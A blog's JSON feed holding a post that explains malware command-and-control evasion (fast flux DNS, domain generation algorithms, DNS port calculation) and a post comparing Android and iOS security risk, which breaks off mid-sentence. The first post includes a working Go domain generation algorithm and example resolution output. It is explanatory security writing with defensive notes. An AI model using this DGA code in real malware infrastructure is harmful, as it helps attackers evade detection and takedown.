{"version":"https://jsonfeed.org/version/1.1","title":"Ben Kofman","home_page_url":"https://benkofman.com/","feed_url":"https://benkofman.com/feed.json","description":"Technology, security, curiosity.","authors":[{"name":"Ben Kofman","url":"https://benkofman.com"}],"items":[{"id":"https://benkofman.com/dynamic-resolution.html","url":"https://benkofman.com/dynamic-resolution.html","title":"Dynamic Resolution: How Hackers Implement Elusive Command and Control Infrastructure","content_html":"\u003cp>Malware implants can call back to command and control (C2) servers in a variety of ways. Adversaries often use several layers of proxies to hide their primary infrastructure and prevent attribution. Sometimes, malware communicates with many servers instead of one outer proxy — a technique dubbed Dynamic Resolution — which makes it harder to spot C2 traffic in a network since it becomes more spread out. This also adds resilience in case the main callback channel is lost, since backup servers are available for communication. In this post, we will explore some methods attackers use to implement this technique.\u003c/p>\n\u003cp>\u003cem>The IPs and domains referenced in this post are used as random examples only.\u003c/em>\u003c/p>\n\u003ch2 id=\"fast-flux-dns\">Fast Flux DNS\u003c/h2>\n\u003cp>When defenders analyze traffic logs for malicious activity, a key metric is the number and type of connections between a source and a destination IP. Fast Flux DNS dynamically rotates the destination IP of the C2 domain used by implants, making it harder for defenders to spot malicious network traffic and providing a fallback if the current IP is detected.\u003c/p>\n\u003cp>In \u003cstrong>Single-Flux DNS\u003c/strong>, a pool of IP addresses are consistently rotated as the A (IPv4) record for a single domain name (AAAA for IPv6 addresses). The record is given a short time-to-live (TTL) value, preventing downstream DNS servers from caching an address for too long.\u003c/p>\n\u003cp>Say the implant is programmed to use \u003ccode>nothingsketchyatall.com\u003c/code> for C2. Before initiating a connection, the host operating system will send a DNS query to its configured resolver, 8.8.8.8 (Google DNS). The Google DNS server has no records for \u003ccode>nothingsketchyatall.com\u003c/code> and requests the NS record from a \u003ccode>.com\u003c/code> TLD name server (\u003ccode>j.gtld-server.net\u003c/code>). The\u003ccode>.com\u003c/code> name server returns the domain’s authoritative name server and its address:\u003c/p>\n\u003cpre>\u003ccode class=\"language-text\">$ dig nothingsketchyatall.com NS @j.gtld-servers.net\n\n;; QUESTION SECTION:\n;nothingsketchyatall.com.   IN NS\n\n;; AUTHORITY SECTION:\nnothingsketchyatall.com.  21600 IN NS ns.nothingsketchyatall.com.\n\n;; ADDITIONAL SECTION:\nns.nothingsketchyatall.com. 15015 IN A 100.100.100.100\n\u003c/code>\u003c/pre>\n\u003cp>Since the name server is in the same zone, the TLD also returns a “glue” IP address for the name server. A glue record is needed to prevent a circular dependency, where the resolver asks the TLD name server for the NS of the domain because it needs an IP address, only to receive the name server domain, which results in the resolver asking the TLD again, since it will then need the name server’s address. The NS record does not need to be in the same zone as the domain, but can be since the NS record generally remains static in Single-Flux DNS (more on this in a bit). Now that Google DNS has the name server of \u003ccode>nothingsketchyatall.com\u003c/code> and the name server’s IP address, it can retrieve the \u003ccode>nothingsketchyatall.com\u003c/code> A record:\u003c/p>\n\u003cpre>\u003ccode class=\"language-text\">$ dig nothingsketchyatall.com A @ns.nothingsketchyatall.com\n\n;; QUESTION SECTION:\n;nothingsketchyatall.com.   IN A\n\n;; ANSWER SECTION:\nnothingsketchyatall.com.  300 IN A 200.200.200.200\n\u003c/code>\u003c/pre>\n\u003cp>Notice how the TTL value is only 300 seconds. In five minutes, the local system’s DNS cache and Google’s cache will clear the record, and the attackers will programmatically update the A record on the name server to another proxy’s IP address.\u003c/p>\n\u003cp>To add another layer of complexity for defenders, attackers can also flux the IP address of the authoritative name server for the domain — otherwise known as \u003cstrong>Double-Flux DNS\u003c/strong>. Let’s take a look at an example. When Google DNS requests the NS record for \u003ccode>nothingsketchyatall.com\u003c/code>, the \u003ccode>.com\u003c/code> TLD might reply with something like this:\u003c/p>\n\u003cpre>\u003ccode class=\"language-text\">$ dig nothingsketchyatall.com NS @j.gtld-servers.net\n\n;; QUESTION SECTION:\n;nothingsketchyatall.com.   IN NS\n\n;; AUTHORITY SECTION:\nnothingsketchyatall.com.  21600 IN NS alsonothingsketchy.com.\n\u003c/code>\u003c/pre>\n\u003cp>In this case, the name server is a different parent domain than the DNS zone (called out-of-bailiwick). Since this name server is a different parent domain, a glue record is not required, and Google DNS will need to resolve its A record like any other domain if it wants to retrieve the A record for \u003ccode>nothingsketchyatall.com\u003c/code>.\u003c/p>\n\u003cpre>\u003ccode class=\"language-text\">$ dig alsonothingsketchy.com A\n\n;; QUESTION SECTION:\n;alsonothingsketchy.com.   IN A\n\n;; ANSWER SECTION:\nalsonothingsketchy.com.  300 IN A 50.50.50.50.\n\u003c/code>\u003c/pre>\n\u003cp>The A record for the name server also has a five-minute TTL value. Now, not only will the attackers be rotating the address of the C2 proxy at \u003ccode>nothingsketchyatall.com\u003c/code>, they will also be rotating the address of the name server that provides the address of the C2 proxy. A different DNS zone for the NS record is needed since fluxing the name server’s A record in the TLD is not possible. Domain registrars assign the NS record for a domain with the TLD, and an attacker cannot quickly automate this.\u003c/p>\n\u003cp>In Single-Flux DNS, attackers often use bulletproof hosting (BPH) providers as the DNS providers for their C2 proxies. While many DNS providers allow frequent changes to records via an API or other interface, BPH providers ignore abuse requests from law enforcement and other organizations, unlike mainstream providers like Cloudflare. This forces defenders to target the actual proxy server addresses to take down the C2 infrastructure.\u003c/p>\n\u003cp>In Double-Flux DNS, BPH providers can be used to flux the name server’s A record. The name servers themselves are most likely compromised botnet hosts running DNS software like BIND or PowerDNS. Since the actual proxy infrastructure is also needed for this operation, it’s simpler to use compromised hosts for the name servers instead of dedicated infrastructure and reduce the overhead required to perform Double-Flux DNS.\u003c/p>\n\u003ch2 id=\"domain-generation-algorithms\">Domain Generation Algorithms\u003c/h2>\n\u003cp>Rotating IPs are cool and all, but what happens when lookups on the domains themselves are blocked? If the attackers use limited domains, they will lose contact with their implants. To add an extra layer of resiliency, attackers may build a Domain Generation Algorithm (DGA) into malware instead of using hardcoded domains. DGAs rotate the C2 lookup domain after a period, for example, every week, adding fallback options. The algorithms have a deterministic output that can be replicated on the server-side, but is complex enough to continue indefinitely.\u003c/p>\n\u003cp>Below is a basic DGA written in Go that generates a new semi-random domain daily. The same domains will be calculated on the C2 infrastructure so they can be registered and assigned DNS records as needed.\u003c/p>\n\u003cpre>\u003ccode class=\"language-go\">\u003cspan class=\"hljs-comment\">// Get today&#x27;s date\u003c/span>\nnow := time.Now()\nyear, month, day := now.Date()\n\n\u003cspan class=\"hljs-comment\">// Create a simple hash using XOR/bit-shifting based on today&#x27;s\u003c/span>\n\u003cspan class=\"hljs-comment\">// date with some large multipliers to increase the bit-length\u003c/span>\nhash := \u003cspan class=\"hljs-type\">uint32\u003c/span>(year*\u003cspan class=\"hljs-number\">374761393\u003c/span> + \u003cspan class=\"hljs-type\">int\u003c/span>(month)*\u003cspan class=\"hljs-number\">668265263\u003c/span> + day*\u003cspan class=\"hljs-number\">69069\u003c/span>)\nhash = (hash ^ (hash &gt;&gt; \u003cspan class=\"hljs-number\">13\u003c/span>)) * \u003cspan class=\"hljs-number\">1274126177\u003c/span>\nhash = hash ^ (hash &gt;&gt; \u003cspan class=\"hljs-number\">16\u003c/span>)\n\n\u003cspan class=\"hljs-comment\">// Create a 20 character string sufficiently distributed across \u003c/span>\n\u003cspan class=\"hljs-comment\">// a-z using a Linear Congruential Generator seeded with the hash\u003c/span>\n\u003cspan class=\"hljs-keyword\">var\u003c/span> domain strings.Builder\n\u003cspan class=\"hljs-keyword\">for\u003c/span> i := \u003cspan class=\"hljs-number\">0\u003c/span>; i &lt; \u003cspan class=\"hljs-number\">20\u003c/span>; i++ {\n  hash = hash*\u003cspan class=\"hljs-number\">1103515245\u003c/span> + \u003cspan class=\"hljs-number\">12345\u003c/span>\n  letter := \u003cspan class=\"hljs-string\">&#x27;a&#x27;\u003c/span> + \u003cspan class=\"hljs-type\">rune\u003c/span>(hash%\u003cspan class=\"hljs-number\">26\u003c/span>)\n  domain.WriteRune(letter)\n}\n\n\u003cspan class=\"hljs-comment\">// Even days use .us odd days use .com top-level domain\u003c/span>\n\u003cspan class=\"hljs-keyword\">if\u003c/span> day%\u003cspan class=\"hljs-number\">2\u003c/span> == \u003cspan class=\"hljs-number\">0\u003c/span> {\n  fmt.Println(domain.String() + \u003cspan class=\"hljs-string\">&quot;.us&quot;\u003c/span>)\n} \u003cspan class=\"hljs-keyword\">else\u003c/span> {\n  fmt.Println(domain.String() + \u003cspan class=\"hljs-string\">&quot;.com&quot;\u003c/span>)\n}\n\u003c/code>\u003c/pre>\n\u003cp>The dates below will yield specific domains:\u003c/p>\n\u003cul>\n\u003cli>July 26th 2025: orgxspahcdknaxszkrcp.us\u003c/li>\n\u003cli>July 27th 2025: mvaxafcbuxyzkvohcfqx.com\u003c/li>\n\u003cli>July 28th 2025: fqnuxsnipstsdyrmpgnu.us\u003c/li>\n\u003cli>July 29th 2025: jutehydohozsnihqbuhu.com\u003c/li>\n\u003c/ul>\n\u003cp>A real-world DGA would more likely generate combinations of words and numbers such as \u003ccode>4tacosrealestate2021.com\u003c/code> to look less suspicious.\u003c/p>\n\u003ch2 id=\"dns-calculation\">DNS Calculation\u003c/h2>\n\u003cp>At this point, the implant and infrastructure constantly shift domains and IP address channels, adding significant resiliency and elusiveness to the command and control traffic. The final cherry on top is to use unpredictable port numbers for new TCP and UDP connections. MITRE has documented several threat actors such as \u003ca href=\"https://attack.mitre.org/groups/G0096\">APT41\u003c/a>, \u003ca href=\"https://attack.mitre.org/groups/G0127\">TA551\u003c/a>, \u003ca href=\"https://attack.mitre.org/groups/G0047\">Gamaredon Group\u003c/a>, \u003ca href=\"https://attack.mitre.org/groups/G0045\">menuPass\u003c/a>, and others using DGAs and Fast Flux DNS, but only lists one group, \u003ca href=\"https://attack.mitre.org/groups/G0005\">APT12\u003c/a>, as an example that has used DNS calculation.\u003c/p>\n\u003cp>DNS calculation uses calculations based on the IP address of the channel to determine the port number. For example, if the implant starts beaconing and DNS resolves the IP address for the C2 domain as\u003ccode>21.64.230.78\u003c/code>, the implant may determine the port to connect to with this formula:\u003c/p>\n\u003cpre>\u003ccode class=\"language-text\">port = concat(first_octet, second_octet) + third_octet - fourth_octet\nport = 2164 + 230 - 78 = 2316\n\u003c/code>\u003c/pre>\n\u003cp>Using different ports for different proxies may reduce the chance of detection. However, threat actors generally tend to use standard ports for the protocol of their C2 traffic (e.g. 443 for HTTPS, 53 for DNS). Connecting to many random ports within a period might end up drawing more attention to an infected host, which is why there is probably only one group documented using this technique.\u003c/p>\n\u003ch2 id=\"defensive-considerations\">Defensive Considerations\u003c/h2>\n\u003cp>Detecting this activity is challenging as it closely mimics how common websites utilize load balancing with CDNs. Assuming the implant has not been burned, security teams should focus on detecting anomalous connections and establishing robust baselines for endpoint traffic behavior. Threat intelligence services that perform real-time monitoring of internet connections in their clients’ networks may be able to detect Fast-Flux or algorithm-generated domains using various advanced methods. However, most of these require prolonged observation of the infrastructure. Even if a domain is suspected of being malicious, that conclusion is not made with 100% confidence. By the time a thorough investigation is completed, the channel has long since retired.\u003c/p>\n\u003ch2 id=\"references\">References\u003c/h2>\n\u003cul>\n\u003cli>\u003ca href=\"https://attack.mitre.org/techniques/T1568/\">MITRE ATT&amp;CK: Dynamic Resolution\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://attack.mitre.org/techniques/T1568/001/\">MITRE ATT&amp;CK: Fast Flux DNS\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-093a\">CISA: Fast Flux — A National Security Threat\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://attack.mitre.org/techniques/T1568/002/\">MITRE ATT&amp;CK: Domain Generation Algorithms\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://attack.mitre.org/techniques/T1568/003\">MITRE ATT&amp;CK: DNS Calculation\u003c/a>\u003c/li>\n\u003c/ul>\n","summary":"A technical deep-dive on this MITRE ATT&CK threat actor technique.","image":"https://benkofman.com/dynamic-resolution/cover.png","date_published":"2025-07-28T12:00:00Z"},{"id":"https://benkofman.com/mobile-platforms.html","url":"https://benkofman.com/mobile-platforms.html","title":"Risk Analysis of the Major Mobile Platforms","content_html":"\u003ch2 id=\"introduction\">Introduction\u003c/h2>\n\u003cp>Smartphones constitute the largest digital attack surface in modern society — over half the global population and most people in the developed world own one. Mobile applications are heavily relied on for everything we do, be it communication, banking, media, navigation, photos, etc. The average person spends four to five hours a day using their phone. They are a part of us. We are cyborgs without a physical link between our mechanical and biological components (for now).\u003c/p>\n\u003cp>The two dominant platforms are Android and iOS. Combined, 99.5% of smartphones run either operating system — most app developers support no other legitimate choices. Android dominates the global market share at about 73.5%, with iOS at 26%.\u003c/p>\n\u003cp>This article will explore the two platforms’ primary distinctions and compare their native attack surfaces. Mobile security is a broad field; this article will not cover cellular network security or other adjacent systems like \u003ca href=\"https://www.reuters.com/world/uk/uk-asks-apple-let-it-spy-users-encrypted-accounts-washington-post-reports-2025-02-07/\">\u003cstrong>cloud backup services\u003c/strong>\u003c/a>. We will evaluate whether devices running either operating system are more likely to be compromised depending on the user’s risk profile. Vulnerabilities in mobile applications will also not be discussed, as this is a separate topic standardized by the \u003ca href=\"https://mas.owasp.org/MASVS/\">\u003cstrong>OWASP Mobile Application Security Verification Standard (MASVS)\u003c/strong>\u003c/a> and other resources and is mainly a responsibility of application developers.\u003c/p>\n\u003ch2 id=\"the-smartphone-market\">The Smartphone Market\u003c/h2>\n\u003cp>For Americans, it may be a surprise that iOS only makes up about a quarter of the global smartphone market share, as previously stated. Apple controls more than half of the market share in America. Because only one company produces both the phones and software, it creates the perception that iPhones are the dominant product. iOS is the largest smartphone manufacturer in the world, but again, it only controls a quarter of the total market share.\u003c/p>\n\u003cp>Unlike iOS, the market for Android phones is a fragmented ecosystem with many device manufacturers. As of January 2025, Google recognizes 58 companies as official Android device manufacturers listed on the \u003ca href=\"https://androidenterprisepartners.withgoogle.com/device-manufacturers/\">\u003cstrong>Android Enterprise\u003c/strong>\u003c/a> website. The four leading manufacturers worldwide are Samsung, Xiaomi, Vivo, and Oppo as of January 2025.\u003c/p>\n\u003cp>In the United States, Samsung and Google Pixel lead the Android device market. Google Pixel is the only device that uses the stock Android OS since Google also maintains the Android Open Source Project (AOSP). Most other OEMs add additional features and modifications to the Android OS. Some manufacturers have changed Android so much that they market brand-new operating systems, like Xiaomi’s HyperOS, Vivo’s Funtouch OS, and Oppo’s ColorOS.\u003c/p>\n\u003cfigure style=\"--figure-width:1060px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/mobile-platforms/image-01-720w.webp 720w, https://benkofman.com/mobile-platforms/image-01-1060w.webp 1060w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/mobile-platforms/image-01.png\" alt=\"Xiaomi HyperOS — AKA iOS on Android\" width=\"1060\" height=\"846\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003cfigcaption>Xiaomi HyperOS — AKA iOS on Android\u003c/figcaption>\u003c/figure>\n\n\u003cp>Some organizations build devices running Android for purposes other than personal phones, such as Honeywell, which has an entire line of “\u003ca href=\"https://automation.honeywell.com/us/en/products/productivity-solutions/mobile-computers/handheld-computers\">\u003cstrong>Mobile Handheld Computers\u003c/strong>\u003c/a>” made for industrial use cases. The diversity in the Android device marketplace leads to an important risk factor of mobile operating systems — software update consistency and timeliness.\u003c/p>\n\u003ch2 id=\"security-patching\">Security Patching\u003c/h2>\n\u003ch3 id=\"ios-architecture\">iOS Architecture\u003c/h3>\n\u003cp>iOS has a monolithic architecture, and Apple builds most major components across the software and hardware. The operating system is composed of the following layers starting from the lowest level:\u003c/p>\n\u003col>\n\u003cli>Core OS: Kernel, chip drivers, cryptographic operations\u003c/li>\n\u003cli>Core Services: Includes basic functionality like cloud data transfer, location services, file system access\u003c/li>\n\u003cli>Media: Handles graphics and audio rendering and processing\u003c/li>\n\u003cli>Cocoa Touch: API providing access to hardware and software features like user interface elements or the camera\u003c/li>\n\u003c/ol>\n\u003cp>Because Apple controls the entire tech stack of its products, its update process is very streamlined. Since iOS 16.4.1, Apple also implemented \u003ca href=\"https://support.apple.com/en-us/102657\">\u003cstrong>Rapid Security Responses\u003c/strong>\u003c/a> to quietly push critical bug fixes between standard iOS updates. You can view the complete list of security updates for all Apple products on a single page on the Apple website.\u003c/p>\n\u003cfigure style=\"--figure-width:1200px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/mobile-platforms/image-02-720w.webp 720w, https://benkofman.com/mobile-platforms/image-02-1253w.webp 1253w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/mobile-platforms/image-02.png\" alt=\"Top of the Apple security update list at the time of writing\" width=\"1253\" height=\"817\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003cfigcaption>Top of the Apple security update list at the time of writing\u003c/figcaption>\u003c/figure>\n\n\u003ch3 id=\"android-architecture\">Android Architecture\u003c/h3>\n\u003cp>The security update process for Android is not as simple. The platform is composed of several layers, each managed by different entities.\u003c/p>\n\u003cfigure style=\"--figure-width:1200px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/mobile-platforms/image-03-720w.webp 720w, https://benkofman.com/mobile-platforms/image-03-1440w.webp 1440w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/mobile-platforms/image-03.png\" alt=\"Android platform architecture\" width=\"1600\" height=\"1465\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003cfigcaption>Android platform architecture\u003c/figcaption>\u003c/figure>\n\n\u003cp>The AOSP builds on the Linux kernel to form the Android Common Kernel (ACK), which Generic Kernel Image (GKI) modules extend to be hardware-agnostic. Hardware vendors implement device drivers using the Hardware Abstraction Layer (HAL) Interface Definition Language (HIDL) so the operating system can control chips, cameras, microphones, etc.\u003c/p>\n\u003cfigure style=\"--figure-width:1200px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/mobile-platforms/image-04-720w.webp 720w, https://benkofman.com/mobile-platforms/image-04-1440w.webp 1440w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/mobile-platforms/image-04.png\" alt=\"How the AOSP maintained kernel interoperates with the vendor modules implemented using the HAL\" width=\"1600\" height=\"853\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003cfigcaption>How the AOSP maintained kernel interoperates with the vendor modules implemented using the HAL\u003c/figcaption>\u003c/figure>\n\n\u003cp>Applications run in the Android Runtime (ART) virtual machine, which compiles Java byte code to native machine code and acts as a wall between the application and the operating system. The Android Framework defines higher-level Java APIs like the user interface, location services, and inter-app communication protocols.\u003c/p>\n\u003ch3 id=\"oem-customization\">OEM Customization\u003c/h3>\n\u003cp>OEMs often customize every layer of the Android stack to add their proprietary features. To ensure consumers can only use a specific carrier, the OEM adds tweaks for devices sold through the carrier, like restricting the SIM card or the bootloader to prevent users from flashing custom ROMs. The operating system is often modified to gain a competitive advantage over other manufacturers. For example, Samsung has developed some additional capabilities into the Android OS that they release with their devices, such as:\u003c/p>\n\u003cul>\n\u003cli>One UI: A custom user interface that builds on the Android Framework that provides more modification and accessibility controls.\u003c/li>\n\u003cli>Integration with Samsung devices like the S-Pen — requiring additional HAL drivers and Android Framework components.\u003c/li>\n\u003cli>Samsung Knox: A security platform that secures every layer of the Android stack, similar to endpoint detection and response (EDR).\u003c/li>\n\u003cli>System level apps: Samsung installs its own default apps like the Samsung Internet browser, Notes, Pay, Health, and the Galaxy Store.\u003c/li>\n\u003c/ul>\n\u003cp>When a vulnerability is discovered and fixed in the AOSP, OEMs may take months to implement the fix, as it must be modified to fit the specific vendor’s implementation. Cellular carriers may also need to test the updates to ensure they are compatible with their networks, contributing to the release delay.\u003c/p>\n\u003cp>Because manufacturers customize the stock AOSP so much, patch consistency is highly variable among OEMs. A 2024 \u003ca href=\"https://research.google/pubs/50-shades-of-support-a-device-centric-analysis-of-android-security-updates/\">\u003cstrong>research paper on Android Security Updates\u003c/strong>\u003c/a> published by Google (so take it with a grain of salt) analyzed patch consistency among the top Android device vendors. They found that Xiaomi and Oppo generally release quarterly rather than monthly patches and have shorter support periods. Samsung releases monthly updates for newer models but slows over time. Google Pixel releases security patches monthly throughout their device lifespans, regardless of region, and generally has the longest support periods.\u003c/p>\n\u003ch3 id=\"project-mainline\">Project Mainline\u003c/h3>\n\u003cp>The \u003ca href=\"https://source.android.com/docs/core/ota/modular-system\">\u003cstrong>Mainline\u003c/strong>\u003c/a> project aims to address this issue. Starting with Project Treble, the Android Framework divided some of its major components into modules to apply updates outside regular Android version releases. Mainline extended this to include critical components like Bluetooth, Media Codecs, Network Stack, Permission Controller, and Wi-Fi, which are often the target of network-based exploits.\u003c/p>\n\u003cfigure style=\"--figure-width:1200px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/mobile-platforms/image-05-720w.webp 720w, https://benkofman.com/mobile-platforms/image-05-1440w.webp 1440w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/mobile-platforms/image-05.png\" alt=\"Mainline architecture\" width=\"1600\" height=\"1108\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003cfigcaption>Mainline architecture\u003c/figcaption>\u003c/figure>\n\n\u003cp>Devices must have Google Mobile Services (GMS) enabled to receive Mainline updates as updates are released via the Play Store. GMS allows Android devices to use Google applications like the Play Store, Gmail, YouTube, Chrome, etc. However, GMS is banned in China. Android devices sold in China rely entirely on OEM updates for patching, but they most likely have built-in backdoors anyway.\u003c/p>\n\u003cp>Project Mainline is not a comprehensive solution, and many security bugs discovered in Android affect system components that Google Play system updates do not cover. Also, the Mainline updates only include the “partial security patch level (SPL)” published in the monthly Android Security Bulletins. The complete SPL includes CVEs identified in proprietary hardware components like Qualcomm and MediaTek chips in many Android devices. Google Pixel is the only vendor that includes the complete SPL in each month’s update.\u003c/p>\n\u003ch2 id=\"vulnerability-research\">Vulnerability Research\u003c/h2>\n\u003cp>So, iOS seems generally more reliable regarding timely security patches. But that doesn’t answer a crucial question — which platform is more likely to be exploited? Specifically, by advanced attacks that require limited interaction from the user or physical access to the device — the kind a security-conscious user can do nothing to prevent? We can only look at historical data and make an educated guess to determine this.\u003c/p>\n\u003cp>One thing is sure — both platforms are riddled with security bugs. This has nothing to do with the quality of the engineers building the platforms; they are world-class. It’s simply a result of the size and rate of change of the codebases. Both are extremely mature platforms that are constantly being improved. Even if a product has a small defect density (number of bugs per line of code), as the codebase grows, so does the number of bugs.\u003c/p>\n\u003ch3 id=\"research-accessibility\">Research Accessibility\u003c/h3>\n\u003cp>iOS has a very high barrier to entry for security research. Like most major organizations, Apple has a bug bounty program and pays big bounties for flaws found in its products. It has also implemented the \u003ca href=\"https://security.apple.com/research-device/\">\u003cstrong>Security Research Device Program\u003c/strong>\u003c/a>, which provides researchers with a modified device that allows privileged access to the OS. However, this program is very restricted and has limited application windows.\u003c/p>\n\u003cp>Jailbreaking the latest iOS is very difficult for the general research community, and the latest versions rarely have a working jailbreak publicly available. Although a jailbreak is a major security flaw, it makes it easier for researchers to find other issues. \u003ca href=\"https://www.corellium.com/\">\u003cstrong>Corellium\u003c/strong>\u003c/a> is a virtual mobile device platform researchers can use to analyze a jailbroken version of the latest iOS, but the emulators are still not the ideal environment. Corellium devices are reverse-engineered versions of iOS, and some features like iMessage and phone calls do not work. Finally, iOS is proprietary — no one can access the iOS source code except for Apple employees.\u003c/p>\n\u003cp>Conversely, Android is completely open source. The only software on an Android device that isn’t open source is OEM drivers (and other OEM modifications), Google Mobile Services, and applications. Anyone can view the source code on \u003ca href=\"https://cs.android.com/android\">\u003cstrong>Android Code Search\u003c/strong>\u003c/a>, which includes all levels of the OS from the kernel to the Android Runtime. Users can easily root many off-the-shelf Android phones, allowing more visibility into the device’s internals. Rooting makes vulnerability research very accessible to anyone with the skills and drive to find bugs in Android. Finding major bugs in Android is still very difficult. However, anyone who has done white-box or black-box product security testing understands how much faster you can identify security issues with source code.\u003c/p>\n\u003cfigure style=\"--figure-width:1005px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/mobile-platforms/image-06-720w.webp 720w, https://benkofman.com/mobile-platforms/image-06-1005w.webp 1005w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/mobile-platforms/image-06.png\" alt=\"Viewing the Android Runtime initialization methods on cs.android.com\" width=\"1005\" height=\"838\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003cfigcaption>Viewing the Android Runtime initialization methods on cs.android.com\u003c/figcaption>\u003c/figure>\n\n\u003ch3 id=\"security-bulletins\">Security Bulletins\u003c/h3>\n\u003cp>We can draw some conclusions by comparing recent security bulletins from Apple and AOSP. The Apple security update issued on January 27th, 2025, for iOS 18.3 included 27 CVEs across different iOS components like AirPlay, WebKit, CoreAudio, and others. The previous security update for iOS was released on December 11th, 2024, for iOS 18.2, which included 36 CVEs affecting Apple software. This update follows the previous update released on November 19th, 2024, together making up about two months of updates.\u003c/p>\n\u003cp>The January 2025 Android security bulletin covers 26 CVEs affecting the most recent AOSP versions (12 through 15) discovered during December 2024. The majority of these affect the core Android system and framework components. Only two vulnerabilities are for Project Mainline modules, specifically the Documents UI and Permission Controller. The December 2024 bulletin, covering bugs found in November, includes only 6 CVEs in the AOSP.\u003c/p>\n\u003cfigure style=\"--figure-width:874px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/mobile-platforms/image-07-720w.webp 720w, https://benkofman.com/mobile-platforms/image-07-874w.webp 874w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/mobile-platforms/image-07.png\" alt=\"December Android security bulletin\" width=\"874\" height=\"823\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003cfigcaption>December Android security bulletin\u003c/figcaption>\u003c/figure>\n\n\u003cp>Of course, two months of data is nothing compared to the entire history of these platforms. However, we can learn about the general nature of the security updates. The number of disclosed CVEs does not necessarily indicate a more vulnerable platform or robust vulnerability discovery program. I predict iOS will have far more CVEs than Android since Apple built the operating system from scratch, along with many additional features to allow iPhones to interoperate with other Apple products more easily (and make it more challenging to switch to Android).\u003c/p>\n\u003cp>What is noticeable about the advisories is the severity of the bugs fixed in the updates. The Android security bulletins include, at a minimum, high-severity bugs, mainly relating to privilege escalation and remote code execution. The January 2025 bulletin includes five “critical” severity issues according to the AOSP, with CVSS scores mainly in the high eights since the bugs are primarily exploitable over the local IP network instead of wide area network delivery methods like SMS and phone calls.\u003c/p>\n\u003cfigure style=\"--figure-width:1008px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/mobile-platforms/image-08-720w.webp 720w, https://benkofman.com/mobile-platforms/image-08-1008w.webp 1008w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/mobile-platforms/image-08.png\" alt=\"CVE-2024–49747 — remote code execution in Android caused by an out-of-bounds write\" width=\"1008\" height=\"551\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003cfigcaption>CVE-2024–49747 — remote code execution in Android caused by an out-of-bounds write\u003c/figcaption>\u003c/figure>\n\n\u003cp>The iOS security updates include bugs that are generally less severe. The majority of them are related to unexpected app termination or denial-of-service, with many requiring user interaction or physical device access, equating to mainly medium-level CVSS scores. There are a few arbitrary code execution bugs, which also require user interaction, diminishing their severity.\u003c/p>\n\u003cfigure style=\"--figure-width:1013px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/mobile-platforms/image-09-720w.webp 720w, https://benkofman.com/mobile-platforms/image-09-1013w.webp 1013w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/mobile-platforms/image-09.png\" alt=\"CVE-2024–54499 — arbitrary code execution in iOS using a maliciously crafted image exploiting a use-after-free bug\" width=\"1013\" height=\"556\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003cfigcaption>CVE-2024–54499 — arbitrary code execution in iOS using a maliciously crafted image exploiting a use-after-free bug\u003c/figcaption>\u003c/figure>\n\n\u003cp>CVSS scores alone don’t paint the complete picture. A vulnerability may be critical according to its CVSS score but only exploitable under particular conditions and with limited reliability, reducing its risk. Attacks from APTs and other sophisticated threat actors often combine several zero-days to gain full device control. The average severity of the issues regularly fixed in Android compared to iOS may reduce the likelihood of logical attack vectors being available to attackers targeting Android with zero or one-click exploits. Without being an APT and having an arsenal of zero-days, we can only look at previous attacks on mobile devices to ascertain which operating system is more susceptible to advanced threats.\u003c/p>\n\u003ch2 id=\"exploit-history\">Exploit History\u003c/h2>\n\u003cp>As we will see, the Android malware ecosystem is far more virulent than iOS since, like a PC, there are fewer limitations on which applications can be installed. However, which platform has been the subject of more advanced zero-click attacks?\u003c/p>\n\u003ch3 id=\"ios-hacks\">iOS Hacks\u003c/h3>\n\u003cp>It’s fairly well known that iOS has long been the target of Pegasus spyware developed by NSO Group. Exploits such as KISMET, FORCEDENTRY, and BLASTPASS have been giving NSO Group customers access to their targets’ iPhones for several years by exploiting attack vectors like iMessage, Safari links, Find My, and other native iOS features. There are countless articles about these attacks, and they don’t seem to be slowing down anytime soon. \u003ca href=\"https://citizenlab.ca/\">\u003cstrong>Citizen Lab\u003c/strong>\u003c/a> has been tracking Pegasus for years and regularly releases reports on Pegasus targets and technical details.\u003c/p>\n\u003cp>In 2023, Kaspersky researchers discovered a sophisticated iOS hacking campaign they dubbed “\u003ca href=\"https://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/\">\u003cstrong>Operation Triangulation\u003c/strong>\u003c/a>” targeting 